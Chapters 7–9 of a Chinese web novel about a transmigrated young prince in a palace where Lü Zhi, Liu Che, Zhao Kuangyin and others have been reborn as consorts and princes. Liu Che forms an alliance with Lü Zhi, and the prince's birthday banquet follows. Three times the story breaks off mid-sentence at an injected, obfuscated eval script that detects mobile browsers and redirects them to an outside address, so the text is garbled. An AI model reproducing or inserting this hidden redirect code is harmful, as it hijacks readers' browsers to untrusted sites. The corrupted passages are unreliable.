《夺嫡,但对手是秦皇汉武》
7. 第 7 章
吴选侍要生了!
周宛宁刚告别刘彻,回到宣和宫没多久,这一炸雷般的消息就传了出来。
他趴在窗边探着头,有些好奇地看太医和稳婆提着药箱一溜小跑地冲去吴选侍的侧殿。
魏忠贤也有点紧张,他提醒周宛宁:“主子,可千万别往前凑。万一有什么闪失,难保有奸人会往您身上赖。”
周宛宁当然明白,他可没有那么旺盛的探索欲。
他又不是产科的。
吕雉早早地就去吴选侍殿里守着了,她没有陪周宛宁用晚膳。不过晚些时候御前来人给吕雉送了菜,说是皇帝知道她辛苦,特意把他感觉味道不错的菜给她送了一份。
吕雉把御前的人送到了宫门口,回去的时候,她看到周宛宁站在他寝殿门前望着她的方向。
五岁的孩子个头矮矮的,他自己提着一只宫灯,眼巴巴地盯着她。
吕雉心头一软。
她拐了个弯,来到周宛宁身前,蹲下抱了抱她的孩子。
周宛宁圈住吕雉的脖子,贴到她怀里,小声说:“娘,你要守一晚上吗?”
吕雉说:“是啊,这样才能万无一失。小宁别多想,到时间就去睡吧。娘让小忠子守着你,不会有事的。”
周宛宁踮起脚尖,在吕雉脸上亲了一口,乖乖道:“好。”
吕雉爱怜地摸摸他的脑袋,起身向魏忠贤使了个眼色:“快带小主子进去。”
周宛宁虽然担心亲妈今晚睡眠不足,但他也知道确保吴选侍生产不出纰漏才是大事。他人小力微,做不了什么,能够做到的就是好好吃饭睡觉,不让吕雉操心。
清晨,周宛宁被喊醒,只听魏忠贤悄声告诉他:
“主子,吴选侍生了,是个皇子。”
周宛宁刚醒的时候还有点懵,魏忠贤伺候着他穿鞋更衣,用热毛巾擦了擦脸,周宛宁才慢半拍想起来:
“我娘呢?”
魏忠贤说:“吴选侍是寅时生的,娘娘安排完乳母之后去睡了一会儿,辰时前就起来了,派人去给皇上报信。现在皇上就在侧殿和娘娘一起看六皇子呢。”
周宛宁换好衣服之后也去了侧殿,刚好碰见皇帝在颁赏,没进屋就听见他在笑:
“好啊,太好了!这么多年了,宫里终于又有了孩子!这孩子长得真好啊,又白又壮,连头发都有了,可见胎里就养得足!”
见到周宛宁进来,赵佶更加高兴。他对周宛宁招招手,一把将周宛宁抱了起来,亲切地问:“小宁是来看弟弟的吗?”
周宛宁扫了一眼一旁的吕雉,吕雉脸上挂着欣喜又温柔的笑容,只是双眼下面带着没遮盖的青黑。周宛宁心中飞速转过一个念头,回答道:
“我来看弟弟,也来看我娘。我娘昨晚都没睡,我怕我娘累坏了。”
皇帝感动地转向吕雉,深情道:
“絮絮,这些日子你费心了。你给朕生了小宁这样一个好孩子,把他教得孝顺懂事,现在六皇子你又替朕照料得这样好。有你这样的贤明女子,实在是朕的福气啊。”
吕雉双目中泛起盈盈的水光,她上前一步,将手轻轻搭在皇帝的手臂上,向皇帝露出含泪的微笑:
“陛下,臣妾所做的一切,都是想要替陛下分忧。臣妾不求名利地位,只希望能让陛下康泰顺心。若是陛下满意,臣妾也就心满意足了!”
皇帝动情呼唤:“絮絮!”
吕雉:“陛下!”
周宛宁:…………
他夹在中间需要做出什么样的表情和反应?
目睹吕雉和赵佶浓情蜜意,他想做的就是飞速逃离这古怪的现场。
幸好,自认为深情温柔的皇帝没在这里停留太长时间。他赏赐了不少珍宝药材后,就让吕雉回去好好歇息,又叮嘱周宛宁要乖乖听话,别让吕雉烦心。
吕雉牵着周宛宁把皇帝送走,看着金黄的步辇消失在宫道上之后,吕雉迅速转过身,脸上的笑容也垮得一干二净。
“长乐,我回去歇一会儿,午时叫醒我。小宁,你可以去看一眼弟弟,但是不许碰他,也不许去吴选侍的屋子里,知道了吗?”
周宛宁很理解吕雉现在的心情,她就像是值了一整晚夜班的产科主治,早上交接班后还要应付来视察的领导,现在终于熬到下班,唯一的想法就是赶紧去睡觉。
要是有人敢在这个时候惹吕雉生气,她一定会把宣和宫变成长信宫,把惹怒她的人捅成刺猬。
周宛宁得到了许可,他小心翼翼地来到六皇子现在所在的小屋。
六皇子早就被擦干净了身上的胎脂和血水,他被安置在小婴儿床里,裹着羊绒的小被子,一无所觉地呼呼大睡。
周宛宁扫了一眼他的头顶。
【???】
【身份:六皇子】
【隐藏资料:需达到一定好感度开启】
看到“隐藏资料”这一行字,周宛宁脱力地长长叹了口气。
好吧,好吧,看来这也不是真小孩。
这个六皇子会是谁呢?
因为还没得到皇帝的赐名,六皇子头顶的姓名栏还是一串问号。周宛宁盯着呼呼大睡的六皇子看了一会儿,心里盘算着:
秦皇汉武,唐宗宋祖……该轮到谁了呢?
成吉思汗?朱元璋?还是更后面的……
“小宁!小宁!”
窗外传来一串急切的呼唤,魏忠贤跑出去看了一眼,见鬼了一样回来报告:
“主子,三殿下,三殿下他在墙上!”
周宛宁赶紧跑出小屋,一抬头,就看到宫墙上坐着一个红衣的少年。他大大咧咧地跨坐在墙顶,灿烂地对周宛宁露出笑容:
“小宁!我来看新的小弟弟!”
周宛宁估算了一下宫墙的高度,有些呆滞地问:“哥,你……你是怎么上去的?”
这宫墙至少有三米啊!
赵匡胤满不在乎地摆摆手:“一跳一蹬不就上去了?嗨,想学的话,哥以后教你。你让开点儿,哥要跳下来了!”
魏忠贤护着周宛宁向后退,赵匡胤像只大猫一样“咚”地往下一跃,在地上轻松地翻腾了两圈,拍拍衣服,没事人一样重新站了起来。
……这就是五代十国第一猛男,武林宗师宋太祖的实力吗?!
赵匡胤上前,挤开魏忠贤,亲亲热热地就伸出胳膊搂住周宛宁:“小宁,这几天哥都没怎么见着你。怎么样,身体还好吗?”
周宛宁点头:“我都好了,前几天二哥还教我射箭呢。”
赵匡胤有点不满地用力摸摸他的脑袋:“你去找他玩,不来找我?三哥也会射箭啊,三哥还会拳法和耍棍呢!”
周宛宁被赵匡胤呼噜得傻笑起来:“没有故意不来找三哥,三哥对我最好了,我也很想三哥的。”
赵匡胤笑了,满意地拍拍他的肩膀:“这才对嘛。”
几个哥哥里,周宛宁和赵匡胤的关系十分亲近。
赵匡胤性格开朗热情,周宛宁还在摇篮里的时候,他就总跑来逗弄。周宛宁对这个世界最初的印象除了吕雉的怀抱,奶娘的触碰,就是赵匡胤喊“弟弟!!!”的大嗓门。
等到周宛宁会走路了,赵匡胤就三天两头拐带着他到处跑。掏鸟窝,踢蹴鞠,捉麻雀,经常玩得浑身脏兮兮的,然后一起挨吕雉的骂。
周宛宁的寝殿里堆了许多赵匡胤送来的玩具和礼物,都快放不下了,赵匡胤还是坚持继续要送,因为他得到什么好东西都会第一时间和兄弟分享。
李世民也收了一堆礼物,他私下里还和周宛宁抱怨过,说赵匡胤一看就是没吃过兄弟苦头的人,什么时候他被哥哥弟弟坑过一次就知道痛了。
周宛宁:谁能有你们李家玄武门兄弟互坑那么炸裂啊……
赵匡胤拉着周宛宁进了屋,六皇子的奶娘立刻站到婴儿床边,其他下人们都一脸紧张地盯着他。
赵匡胤对此视若无睹,他从婴儿床沿探出脑袋,仔仔细细地打量起六皇子。
“唔……”
他又凑近了些,压低声音,轻轻叫:
“阿义,阿义?”
周宛宁:?
谁?
周宛宁疑惑地看了看赵匡胤,又观察了一下六皇子的反应。
六皇子并没有什么特别的动作,只是吧嗒了一下湿漉漉的嘴。
赵匡胤不死心,继续叫:“阿义?”
六皇子在被子里扭了一下身体,然
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16834829|191236||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后把屁股对着赵匡胤,继续呼噜呼噜睡去了。
赵匡胤叹了口气,看起来很是失望,小声嘟囔:“又不是。”
周宛宁听懂了,周宛宁大为震撼。
他总算知道为什么每个皇子出生之后赵匡胤都会火急火燎地跑去看了,原来他以为自己的亲弟弟赵光义也能在这里降生啊?
你们兄弟两个上辈子的感情就那么好吗!
即使猜到了赵匡胤在干什么,周宛宁还是得装出一副困惑的样子,问:“三哥,‘阿义’是什么,是小弟弟的名字吗?”
赵匡胤干咳一声,随口扯谎:“这是我听宫里人说的一个民间偏方。对刚出生的孩子喊‘啊咦啊咦’,要是孩子应了,就代表这孩子和自己有缘分。”
周宛宁:我信了你的邪。
但他还是表现出恍然大悟的样子,问:“原来如此。小时候三哥对我也这么试过吗?”
赵匡胤来了谈兴,笑着说:“当然试过!小宁那时候也和六弟差不多大,都没有我胳膊长。听到我叫你,你就把脑袋转来转去的找人,还对我笑呢!”
周宛宁都不记得有码事,听到赵匡胤这么说,他的冷汗快下来了:“是,是吗?”
赵匡胤不会把小时候的他认成赵光义转世吧?
赵匡胤怀念道:“小宁从小就长得可爱,很少哭闹,摔跤了也不哭,自己拍拍灰就要站起来,然后噗通又摔一跤。看到我走过来,你就对我伸手要我抱。因为你没让老二抱,老二还不高兴呢。”
周宛宁感觉脸上有点发烧:“我……我不记得了……”
赵匡胤一提到周宛宁小时候的事就滔滔不绝:“你不记得吗?你小时候学说话晚,一岁多了还不怎么开口,德妃娘娘急坏了。可你见着我,就喊‘咕咕,咕咕’。我说是‘哥哥’,你还是喊‘咕咕’,特别好玩!”
周宛宁已经余光看到屋里的奶娘在偷偷笑,他红着脸拉住赵匡胤的手,牵着他往外走:“好了,哥,我那是,我那是没掌握到正确的发音……”
这个朝代的语言和他上辈子的语言是有差异的,重新开始学需要时间嘛。
赵匡胤被拉着来到院子里,他把失落迅速抛到脑后,说:“快过年了,我跟老二商量了一下,我俩打算上元节去看鳌山灯,出宫去城里逛逛。你来不来?”
周宛宁听说可以出宫,也有点兴奋:“我想去,但我要先问问我娘。”
赵匡胤不意外:“好。要是德妃娘娘不许,你去找父皇再求求情。你多夸夸他,他一高兴,说不定就同意了。”
周宛宁:你也知道赵佶喜欢别人拍他马屁是吗。
不过,周宛宁也很好奇一件事。
要是赵匡胤知道赵佶上辈子亲小人远贤臣的行为,知道他如何奢侈享受,也知道了靖康耻,他会怎么对付赵佶呢?
唔,那周宛宁说不定能看到赵匡胤用盘龙棍把赵佶细细锤成臊子,先来十斤瘦肉,不要见半点肥的在上面,再来十斤肥肉,不要见半点瘦的在上面……
赵匡胤不知道他弟弟脑子里在用他和赵佶的脸换头《鲁提辖拳打镇关西》,他还在絮絮叨叨地嘀咕着:
“要玩就必须趁着这些日子赶紧玩。我听我娘说,年后马上就又是一场选秀,她和德妃娘娘都要忙选秀的事。父皇有可能会趁这个机会把我们几个一起送去龙图阁,跟大哥一起念书。”
周宛宁回过神,重复了一遍:“念书?”
“对啊。”赵匡胤说,“大哥都已经念了好几年了,不知道为什么,父皇总不愿意让老二也跟着一起去,连带着我也被耽搁了。”
周宛宁没怎么见过这位大哥,他有些好奇:“哥,你见过大哥吗?他是什么样的人啊?”
赵匡胤想了一下,干脆地说:“跟老四差不多,用鼻孔看人的家伙。虽然他和老二是一个娘生的,但老二比他讨喜多了。”
正说着,他们就看见一个白净漂亮的小男孩抱着一个小锦盒跨过了宣和宫的门槛。
远远看到了周宛宁和赵匡胤,那孩子双眼一亮,热情地迎了过来:
“三哥!小宁!你们都在啊!我也来看看六弟!”
赵匡胤的脸一下子垮了下去。
刘彻来了!
8. 第 8 章
周宛宁猜到刘彻会尽快来找吕雉结盟,可他没想到刘彻会来得这么快。
大汉的效率就是高啊,怪不得人家刘彻能做千古一帝呢。
赵匡胤对刘彻没什么好脸色,刘彻自然也不会热脸贴冷屁股。
他瞟了一眼赵匡胤,不阴不阳道:
“三哥来得可真快,哇,你可真是兄友弟恭的典范呀。”
赵匡胤:?
想吃太祖长拳了是吧?!
周宛宁赶紧拉住赵匡胤的手,生怕他出拳把刘彻当场打死了,然后使劲对刘彻使眼色:“六弟睡了,我和三哥刚去探望过。四哥这是打算去看六弟?”
刘彻就坡下驴,说:“既然六弟睡了,我也不方便打扰。德妃娘娘歇息了吗?上次落水后德妃娘娘给我送了些药材,我一直想回报一二。”
赵匡胤懒得和刘彻多废话,他和周宛宁打了声招呼:“我走了,小宁,回头再来找你玩。”
刘彻挑了一下眉毛,见赵匡胤已经离开,他对周宛宁说:“你跟大黑个儿倒是要好。”
周宛宁无奈:“别让三哥听见你给他取外号,三哥会生气的。”
刘彻不以为意:“怎么,他听见之后还能把我怎么样?”
周宛宁想了想,有些迟疑地说:“他可能会……把你的门牙敲掉?”
刘彻:?
他大笑起来,拍拍周宛宁的肩膀:“小宁啊,大黑个儿是不是这么恐吓过你?你的胆子也太小了!”
周宛宁:不,不是恐吓,赵匡胤真的把大臣的门牙敲掉过。
刘彻捧着锦盒,走向宣和宫的正殿。
殿门口,长乐亲自出来迎接,说:“娘娘卸了钗环,马上要歇息了。但娘娘听闻四殿下诚心来访,说可以短暂一见。”
周宛宁向里头望了望,问:“长乐姑姑,我能进吗?”
长乐对周宛宁笑笑:“自然,小主子也快进来吧。”
刘彻走在周宛宁身边,他充满兴味地打量起正殿的内饰,小声问:“你娘的贴身宫女叫长乐?她是不是还有个宫女叫未央?”
周宛宁点头:“是啊。”
刘彻看起来更高兴了:‘果然……那是不是还有个叫‘长信’的?
周宛宁:?
要叫也得叫“建章”,毕竟长乐宫、未央宫和建章宫是汉家宫阙的三大宫室。
叫“长信”干什么,多不吉利啊。韩信就是被吕雉杀死在长信宫里头来着。
拐过屏风与隔断,周宛宁和刘彻就见到了不施粉黛,只松松将长发挽成发髻的吕雉。
吕雉坐在窗边的长榻上,她不动声色地审视着刘彻,然后向对面轻轻一点头:“坐吧。”
刘彻脱下鞋履,极恭敬地走上长榻,端正地跪坐下来,双手交叠举到额头的高度,深深叩首向吕雉行礼:
“见过德妃娘娘。”
周宛宁没见过刘彻所行的礼节,宫廷之内没有人是这样做的。
吕雉的神色却微微变了,她眯起眼睛,语气有些冰冷地问:“四殿下礼数周全,行的竟是揖礼。何以要行如此大礼呢?”
刘彻重新坐直,一板一眼地回答:“晚辈面见吕后,自然要行大礼。”
当“吕后”这个词从刘彻嘴里吐出来之后,周宛宁只觉得周身一寒,待他反应过来,他发现吕雉已经用几乎要吃人的眼神死死盯住刘彻。
服侍的下人在他们进入寝宫时就已经悄悄退下了,周宛宁干咽了一口唾沫,小心地提醒:
“四哥,你在说什么呢,我娘她还不是皇后。”
吕雉厉声道:“周宛宁,你也出去!”
要是亲妈突然开始连名带姓地叫你,那肯定就是要出大事了。
周宛宁马上起身,以最快速度离开这个即将掀起惊涛巨浪的寝殿。
在他穿鞋的时候,吕雉在他背后又恶狠狠地提醒:“不许跟你那两个哥哥去爬树!也不许再带乱七八糟的人去见你弟弟!”
周宛宁赶紧回答:“好的娘!”
他冲出寝宫,魏忠贤在寝殿外等着他。
见周宛宁脸色不对,魏忠贤赶忙问:“主子,发生什么事了?”
“没什么,没什么……”
周宛宁深呼吸几下,久违地点开了脑中的系统商城。
自从用所有功德值换了“鉴定术”,周宛宁就没再进入系统商城浏览过。他扫了一眼自己目前的功德值,发现这些天他林林总总又攒下一些,足够换一个一次性的小技能。
他实在是太好奇刘彻会和吕雉说什么了,于是周宛宁毫不犹豫地选了“顺风耳”。
【“顺风耳(限时)”已放入宿主的技能背包,是否装备“顺风耳(限时)”?】
是!
周宛宁绕到宣和宫内的秋千下,他坐上秋千,让魏忠贤推着他,而他自己已经把注意力全部集中到了寝殿内。
仔细听一听,哪里有吕雉的声音……哪里有刘彻的声音……
有了!
只听吕雉用带着些怒意的语气问:“你究竟是什么人?”
下一秒,刘彻饱含深情地喊出了一句:
“太奶奶,我是你的重孙子刘彻啊!!!”
周宛宁:???
不是,等等,什么玩意儿?
别说周宛宁了,吕雉也懵了。
“啊……?重孙……?”
“没错,我乃高祖之重孙,汉家第七位皇帝,刘彻!”
吕雉迟疑地问:“……你是刘盈的孙子?”
周宛宁还在回忆刘弘是谁,只听刘彻干脆地否认:“不,我的祖父是文帝,讳恒。”
吕雉震惊地重复了一遍:“刘恒?刘恒做了皇帝?”
周宛宁低头也掰着手指算了一下:
汉高祖刘邦死后,汉惠帝刘盈继位。刘盈是吕雉的亲生儿子,吕雉也开始亲政,直到她死。
周宛宁在上中学时对历史确实比较感兴趣,但也仅仅是作为爱好者对大致历史脉络有些了解。
他只隐约记得吕雉死后爆发了一场诸吕之乱,之后就是刘邦的四儿子汉文帝刘恒继位,刘恒又传给他的儿子汉景帝,刘彻正是汉景帝刘启的儿子。
等一下,不太对啊……
周宛宁低头看着自己的手指,皱起眉头:
吕雉好像只有一个亲生儿子刘盈,刘恒不是吕雉的儿子吧?
刘彻和吕雉有血缘关系吗?
果然,只听吕雉怒意勃发地质问刘彻:“依你所说,我死后,周勃、陈平诛杀吕氏族人,连带着将盈儿的后裔尽数屠灭,最后是刘恒获了利,当了皇帝!你是刘恒的孙子,薄姬的重孙,与我无半点血缘,为何要和我攀亲?”
刘彻的声音依旧平稳:“您是高祖的正妻,大汉的高后,汉家后世都是您和高祖的后裔。更何况此地再没有别的汉室宗亲,你我二人在此就是最近的亲人。”
吕雉:“我有亲生儿子,与我最亲近的是小宁。”
刘彻:“小宁也是我的亲弟弟啊,你,我,小宁,我们不就是大汉最后的血脉吗?”
吕雉:?
周宛宁:???
合着他也成汉室宗亲了?
还怪不好意思的,嘿嘿。
吕雉冷笑道:“有利可图时,你可以攀上来叫我太奶奶。若是哪日我失了势,你怕是要把小宁扔进永巷吧?你虽然不是我后裔,可你真是像极了刘季!”
刘彻否认:“此言差矣。高后,您此时也并未得势啊。”
吕雉:“你说什么?”
刘彻的声音甚至带着一丝笑:“您现在只是暂时得到了一些宠爱而已,就如当年的戚夫人。您不是皇后,小宁也不是太子,为何要如此自傲地觉得我是在图谋您身上的利益呢?”
周宛宁以为吕雉会再度被激怒,但她并没有。她冷静了下来,反而对
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16834830|191236||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刘彻的话表示了赞同:
“的确。后位空悬,除了我,惠妃也有机会。”
刘彻诚恳道:“除此之外,您眼里也不能只盯着惠妃。”
“高后,难道您没有发现吗?除了小宁和刚出生的六弟之外,其余皇子都像是再世为人呐!”
周宛宁差点从秋千上栽下来,吓得魏忠贤赶紧扑上来扶住他:“主子!主子!小心!”
周宛宁匆忙摆手:“我没事,继续,继续。”
刘彻是怎么发现的?
难道他也有系统?他也兑换鉴定术了?
可他哪来的那么多功德,难道全是打匈奴攒下来的吗?
杀刘据的时候没扣光啊?
谁料,吕雉却说:“我也发现了一些端倪。你,老二和老三,都不像寻常孩子。真正的孩子像小宁,虽聪明却心思单纯,你们几个想装作孩子一样的天真却不得其法,敏锐的人当然能察觉到不对。”
周宛宁心里升起了一些古怪的挫败感:
为啥只有他真的被分到小孩那桌去了?
虽然大家都说大学生清澈又愚蠢,可他好歹是个博士啊!
刘彻道:“正是如此。除我们之外,大哥应当也有问题。”
吕雉问:“你知道他是谁了?”
刘彻说:“我与他没见过几面,但民间对大皇子评价极高,不少大儒和名臣都对他赞赏不已……若不是有这样的风评,皇帝也不会一直拖延其他皇子出宫读书的时间。一个尚未加冠的少年竟然让皇帝感受到如此威胁,还能拉拢到这么多臣子为他扬名,这是何等人物?”
吕雉发出类似叹息一样的动静,说:“大皇子是已逝先后的儿子,又嫡又长,的确是劲敌。虽然不知道他真身是谁,但我也听闻他日夜勤奋苦读,大概不是刘季。”
刘彻:“哦,那应该不是,反正我没听说过他饮酒作乐辱骂大臣往儒生帽子里便溺。”
吕雉:“好了可以了。”
丢人啊!刘邦你看看你!
刘彻继续劝说:“高后,几位皇子中,大皇子占据嫡长名分,又有大臣支持;二皇子与三皇子俱有将帅之才,城府深沉。小宁与他们争,能依仗的只有皇帝的宠爱。可皇帝的性情您也再清楚不过,明年开春选秀,如果又有新的妃嫔得宠,您和小宁该如何自处?”
吕雉却问:“我好歹拥有宠爱,你无依无靠,若想与我结盟,你能带来什么?”
寝殿里传来锦盒开启的响动。
刘彻说:“我有三样礼物献与高后。”
周宛宁听见纸张翻动的声响,吕雉的声音在短暂沉默后稍稍颤抖地响起:“这是……舆图?”
刘彻的语气激昂起来:“正是大汉舆图!高后,朕在位五十四载,四夷宾服,灭南越,收漠南,置郡朔方五原,封狼居胥,血大汉百年国耻!您尚未见到的汉家气象,朕做到了,羞辱您的匈奴单于,他的子孙后代被悬首北阙,远遁漠北!”
“你我虽不是血缘至亲,可白登之围,冒顿来信,公主和亲的耻辱,其余人能感同身受吗?除了我,还有谁能承继高祖与您的志向?”
吕雉没有作声。
“第二样礼物,是我作的诗赋。”
“皇帝喜好诗文,我已经摸透了。高后您不能写诗作词,小宁年纪还小,他或许有天赋,但他还做不到出口成章。但我能。从今往后,我能从诗文入手,帮助您获得更多皇帝的宠爱,一步步推着您再登后位。”
周宛宁都已经被刘彻说服了,他凝神听着,想知道第三样礼物究竟是什么。
只听他说:
“第三样礼物是我在太清阁找到的丹方。您听我说,死后投胎这种事都能发生,这代表成仙是极有可能成功的!咱们都有根骨啊!这个丹方是大夏皇室的秘传,我已经研究过了,感觉配料很合理,您可以自己配着先吃吃试试……”
吕雉:“拿开!!!”
9. 第 9 章
大汉联盟就此结成了。
不过吕雉还是特别坚决地推拒了刘彻的丹方,还严肃地命令刘彻以后也不许吃丹药。
刘彻对此很有意见。
“就连刘季都不信这种东西!”
吕雉如是说。
“所以他只活到61岁。”
刘彻如是说。
吕雉想了想,觉得他说的很有道理,然后决定用鞋底子让刘彻体验一下他缺失的太奶奶爱。
周宛宁坐在秋千上,看着刘彻飞一样跑出了宣和宫。
哇,这个跑路速度看来是得了刘邦真传啊。
…………
结盟后,周宛宁的生活没发生什么特别的改变。
天气一天天变冷,在六皇子满月前的那天夜里忽然下起了雪。
周宛宁第二天起来就发现宣和宫的院子里积起了大约一个指肚的白雪。他想出去团些雪球玩,却被吕雉薅住衣领拽了回来。
“今晚是你六弟的满月宴,整个后宫都要来赴宴,皇帝也来。我不允许满月宴出一点岔子。你要是出去玩雪冻病了,周宛宁,这一整个冬天你都别想踏出宣和宫一步!”
亲妈的恐吓是非常管用的。周宛宁只好克制住出去堆雪人打雪仗的欲望,在屋里和魏忠贤一起下象棋。
象棋是刘彻带来的,他名正言顺地为宣和宫引入了不少大汉的文化,比如象棋的“楚河汉界”。
原本吕雉想让刘彻教周宛宁下六博棋的,六博棋在汉朝非常流行,宫里的孩子也很喜欢玩。
但刘彻大概给她讲了一下他亲爹汉景帝刘启是怎么用六博棋棋盘砸死吴国太子的事,吕雉从此就禁止六博棋出现在宣和宫。
周宛宁觉得吕雉有点想多了。
刘启大概率是下不过吴国太子才抄起棋盘物理赢棋的。周宛宁是个臭棋篓子,刘彻跟他下过一次棋就再也不愿意陪他玩了。
于是周宛宁只能匹配到和他旗鼓相当的对手,那就是魏忠贤。
魏忠贤的文化水平不高,下棋水平也不怎么样。周宛宁判断不出来他究竟是不是在让着自己,反正他们两个下得的确是有来有回,惊险刺激。
吕雉曾经看过他们下象棋的残局,周宛宁当时拿着一枚“炮”冥思苦想,不知道要不要过楚河汉界。吕雉在他背后观察了一会儿,幽幽叹了口气,说:
“当初汉王若是你这个水平,恐怕他连沛县都跑不出去。”
周宛宁:?
妈妈你说话好伤人!
不过周宛宁还是要维持他懵懂的人设,问:“娘,汉王是谁?”
吕雉轻笑一声,说:“是个无赖。去问你四哥吧,他会给你讲这个汉王的故事。”
下了一天象棋,到了晚上,下人们就开始掌灯。
周宛宁被裹上一身内衬羊绒的锦袍,衣领和袖口处都镶了兔毛的滚边,整个人被裹得像个成了精的兔子。
吕雉给他又系上一件披风,塞上手炉,带上浩浩荡荡的一大列下人,准备参加六皇子的满月宴。
皇宫里大小宴席不断,但六皇子的满月宴在其中也格外豪奢。
六皇子生母吴选侍地位不高,可这是时隔五年后皇帝再举得子。为宣扬皇帝依旧春秋鼎盛,他特意选在皇后的坤宁殿举办这场满月宴。
皇帝的元后在生下二皇子后不久病逝,自那之后皇帝没再立新后,坤宁殿也一直空着,三不五时承办一些后宫宴席。
除了位份最低的官女子,今夜,大小嫔妃还有皇子们都来到了坤宁殿。
周宛宁的座位和其他皇子安排在一起,他和吕雉一起来到坤宁殿时,李世民和刘彻已经在了。
奇怪的是,往常互相看不顺眼的他俩正凑在一起聊天。
周宛宁走过去,只听刘彻高谈阔论道:“……所以啊,这个呼吸吐纳之术在延年益寿方面绝对是有用的。每日抽出一些时间呼吸吐纳,再辅以合适的丹药——”
周宛宁:你别把好好的一个李世民给我带坏了!!!
他飞速挤进去隔开两人,强颜欢笑道:“二哥,四哥!你们到得真早!”
见到弟弟,李世民和刘彻也都很开心。
李世民捏捏他的耳朵,问:“小宁,这几日你怎么不来找二哥练箭了?”
周宛宁乖乖道:“天冷了,我娘不许我在外头多活动,她说出汗之后受凉容易风寒。”
刘彻立刻说:“射箭?我也擅长射箭。小宁,四哥可以教你啊。”
想当初他称霸上林苑,霍去病的箭术都是他手把手带出来的呢。
李世民微微冷笑:“我竟不知四弟何时也擅长射箭了?”
刘彻毫不退让地讥讽道:“二哥如此自信,难道你是神射手?”
身为天策上将,李世民倨傲点头:“四弟要是不信,不妨挑个时间比试比试。”
周宛宁:呃……
你俩不如比一比谁家太子最让人省心好了。
正说着,一个没有太子的人来了——赵匡胤的笑脸出现在大家身后,他很自然地揽住李世民的肩膀,哥俩好地勾肩搭背起来,问:
“聊什么呢?”
李世民指指刘彻:“他要和我比试箭术。”
赵匡胤大喜:“什么?剑术!那好啊,十八般武器里头,除了刀和棍,剑术我碰巧也有些心得。你们练的都是什么剑?长剑?短剑?重剑?软剑?”
这位更是个武将出身的战斗高手!
周宛宁赶紧帮忙解释:“不是,不是那个剑,是射箭的箭……”
赵匡胤还是挺高兴的:“哦,弓箭啊!带我一个,我也喜欢射箭。你们打算怎么比?射靶子,还是射猎物?”
刘彻挑衅道:“射铜钱!把铜钱用线悬在树上,退出百步,射中铜钱中心方孔的是为赢家。如何?谁敢比?”
李世民叫了一声好:“不错!好方法,四弟看来也是豪杰。不过,既然是比试,那就得有个彩头。诸位,我出一只水晶杯!”
赵匡胤笑眯眯地压上:“我出一只足金的雕虎。”
刘彻的资产最少,他一咬牙,说:“我出一套玉杆笔!”
说完,三个哥哥齐齐看向周宛宁。
周宛宁惊恐地问:“我不参加比赛,我也要出奖品吗?”
李世民笑了:“不用,但小宁要替我们做裁判。无论是谁赢了,小宁都要跟着那人好好学射箭。”
周宛宁答应:“好。”
忽然,刘彻“啧”地发出一声奇怪的响动。他示意周宛宁看向坤宁殿门口,说:“有稀客。”
周宛宁顺着刘彻指示的方向看去,正巧看到一个高瘦的少年跨过门槛,一言不发地向坐席走来。
这少年看起来约莫十二三岁,长相俊逸,剑眉高准,唇形漂亮却微微有些薄。那一双凤眼冷冰冰的,眉宇透着几分不符合年纪的沉郁。
他走向坐席首位的吕雉,让下人递上礼物。寒暄几句之后,他就转向了皇子们,一步一步走近。
李世民淡淡地说:“大哥来了。”
【周承璋】
【身份:大皇子】
【隐藏资料:需达到一定好感度开启】
大皇子周承璋来到弟弟们面前。
他那双凤眼扫了一圈神色各异的皇子们,脸上连一丝笑容都欠奉,只平静地说了一句:“幸会。”
对上周承璋眼神的那一刹,周宛宁感觉头皮
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16834831|191236||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
发麻。
明明大皇子并无恶意,但周宛宁就是觉得自己被某种顶级掠食者盯上,寒意顿生。
周承璋有隐藏资料,他也是重生的。
他会是什么人呢?
李世民对周承璋笑了一下,打了声招呼:“好久没见到大哥了。大哥这些日子都在龙图阁念书,不知过得可好?”
大皇子和二皇子都是已逝的先后所出,一母同胞,但周宛宁从没见过李世民和周承璋一起玩。
周承璋已经在他的案几前坐下,听到李世民的询问,他不咸不淡地简单回了一句:“尽心读书,如此而已。”
得到这么冷淡的回应,李世民也没发作。他依旧笑着,恭维了一句:“大哥勤奋,弟弟要向大哥学习才是。”
刘彻悄悄凑到周宛宁耳边,低声说:“看他俩这样,谁能相信他们才是亲兄弟。”
周宛宁好奇道:“大哥一直像这样不理人吗?”
赵匡胤说:“是啊,谁也不理。”
周宛宁吓了一跳,他无措地看向不知何时捏着一只橘子凑过来的赵匡胤,结结巴巴地说:“三哥,你,你偷听!”
刘彻同样用谴责的目光瞪向赵匡胤。
赵匡胤耸耸肩膀:“没办法,天生耳力好……吃橘子吗?”
